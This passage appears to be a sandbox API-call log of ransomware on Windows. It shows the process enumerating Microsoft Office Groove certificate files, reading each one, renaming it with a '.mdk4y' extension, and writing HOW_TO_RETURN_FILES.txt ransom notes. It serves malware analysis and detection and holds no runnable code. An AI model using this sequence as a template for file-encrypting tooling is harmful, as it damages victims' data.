cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GRAPH.ICO.manifest", lpUsedDefaultChar=0x37dfd8) returned 9 [0213.047] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0213.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828827800000) returned 1 [0213.049] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x2fe, lpOverlapped=0x0) returned 1 [0213.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828846900000) returned 1 [0213.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1828846900000) returned 1 [0213.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.mdk4y")) returned 1 [0213.241] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0213.241] AreFileApisANSI () returned 1 [0213.241] GetACP () returned 0x4e4 [0213.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Groove", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="GrooveICO", lpUsedDefaultChar=0x37dfd8) returned 6 [0213.241] AreFileApisANSI () returned 1 [0213.241] GetACP () returned 0x4e4 [0213.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=50, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned 50 [0213.247] AreFileApisANSI () returned 1 [0213.247] GetACP () returned 0x4e4 [0213.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0213.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0213.247] AreFileApisANSI () returned 1 [0213.247] GetACP () returned 0x4e4 [0213.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..", lpUsedDefaultChar=0x37df4c) returned 2 [0213.247] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0213.247] AreFileApisANSI () returned 1 [0213.247] GetACP () returned 0x4e4 [0213.247] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Certificates", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Certificates", lpUsedDefaultChar=0x37df4c) returned 12 [0213.247] AreFileApisANSI () returned 1 [0213.247] GetACP () returned 0x4e4 [0213.247] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\ĺ?") returned 63 [0213.249] AreFileApisANSI () returned 1 [0213.249] GetACP () returned 0x4e4 [0213.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0213.249] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.249] AreFileApisANSI () returned 1 [0213.249] GetACP () returned 0x4e4 [0213.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0213.249] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0213.250] AreFileApisANSI () returned 1 [0213.250] GetACP () returned 0x4e4 [0213.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="groove.net", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="groove.nettefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 10 [0213.250] AreFileApisANSI () returned 1 [0213.250] GetACP () returned 0x4e4 [0213.250] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=74, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ȁ") returned 74 [0213.250] AreFileApisANSI () returned 1 [0213.251] GetACP () returned 0x4e4 [0213.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 1 [0213.251] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.251] AreFileApisANSI () returned 1 [0213.251] GetACP () returned 0x4e4 [0213.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 2 [0213.251] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.251] AreFileApisANSI () returned 1 [0213.251] GetACP () returned 0x4e4 [0213.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Components", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ComponentstefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 10 [0213.251] AreFileApisANSI () returned 1 [0213.251] GetACP () returned 0x4e4 [0213.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=85, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\瞈鑖瞣_") returned 85 [0213.252] AreFileApisANSI () returned 1 [0213.252] GetACP () returned 0x4e4 [0213.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".BSbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37dda8) returned 1 [0213.252] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.252] AreFileApisANSI () returned 1 [0213.252] GetACP () returned 0x4e4 [0213.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..Sbc1cpSqlJOR5OEB6KdT+xhw==", lpUsedDefaultChar=0x37dda8) returned 2 [0213.252] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.252] AreFileApisANSI () returned 1 [0213.252] GetACP () returned 0x4e4 [0213.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SignedComponents.cer", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SignedComponents.cerdT+xhw==", lpUsedDefaultChar=0x37dda8) returned 20 [0213.252] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828848300000) returned 1 [0213.253] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2de, lpOverlapped=0x0) returned 1 [0213.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828848400000) returned 1 [0213.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828848400000) returned 1 [0213.254] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer.mdk4y")) returned 1 [0213.255] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0213.255] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0213.256] AreFileApisANSI () returned 1 [0213.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0213.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.256] GetFileType (hFile=0x130) returned 0x1 [0213.257] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.257] AreFileApisANSI () returned 1 [0213.257] GetACP () returned 0x4e4 [0213.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ManagedObjects", cchWideChar=14, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ManagedObjectsVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 14 [0213.257] AreFileApisANSI () returned 1 [0213.257] GetACP () returned 0x4e4 [0213.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=89, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\") returned 89 [0213.258] AreFileApisANSI () returned 1 [0213.258] GetACP () returned 0x4e4 [0213.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 1 [0213.258] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.258] AreFileApisANSI () returned 1 [0213.258] GetACP () returned 0x4e4 [0213.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 2 [0213.258] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.258] AreFileApisANSI () returned 1 [0213.258] GetACP () returned 0x4e4 [0213.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SignedManagedObjects.cer", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="SignedManagedObjects.cerrrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 24 [0213.258] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828848900000) returned 1 [0213.259] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x290, lpOverlapped=0x0) returned 1 [0213.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828849900000) returned 1 [0213.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828849900000) returned 1 [0213.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer.mdk4y")) returned 1 [0213.270] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0213.270] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0213.271] AreFileApisANSI () returned 1 [0213.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 113 [0213.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.272] GetFileType (hFile=0x130) returned 0x1 [0213.273] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.273] AreFileApisANSI () returned 1 [0213.273] GetACP () returned 0x4e4 [0213.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Servers", cchWideChar=7, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ServersObjects", lpUsedDefaultChar=0x37de34) returned 7 [0213.273] AreFileApisANSI () returned 1 [0213.273] GetACP () returned 0x4e4 [0213.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=82, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\㱴瞈㲣瞈鑖瞣_") returned 82 [0213.273] AreFileApisANSI () returned 1 [0213.273] GetACP () returned 0x4e4 [0213.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 1 [0213.273] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.273] AreFileApisANSI () returned 1 [0213.273] GetACP () returned 0x4e4 [0213.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 2 [0213.273] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.273] AreFileApisANSI () returned 1 [0213.273] GetACP () returned 0x4e4 [0213.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Management.cer", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="Management.cerVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dda8) returned 14 [0213.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828850700000) returned 1 [0213.277] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3b0, lpOverlapped=0x0) returned 1 [0213.294] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828852400000) returned 1 [0213.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828852500000) returned 1 [0213.295] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer.mdk4y")) returned 1 [0213.376] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0213.376] AreFileApisANSI () returned 1 [0213.376] GetACP () returned 0x4e4 [0213.376] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RELAY.CER", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="RELAY.CERt.cer", lpUsedDefaultChar=0x37dda8) returned 9 [0213.376] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0213.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828860700000) returned 1 [0213.377] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3de, lpOverlapped=0x0) returned 1 [0213.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828862700000) returned 1 [0213.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1828862700000) returned 1 [0213.397] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer.mdk4y")) returned 1 [0213.400] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0213.400] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0213.401] AreFileApisANSI () returned 1 [0213.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0098, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0213.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0213.495] GetFileType (hFile=0x130) returned 0x1 [0213.496] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0213.496] FindClose 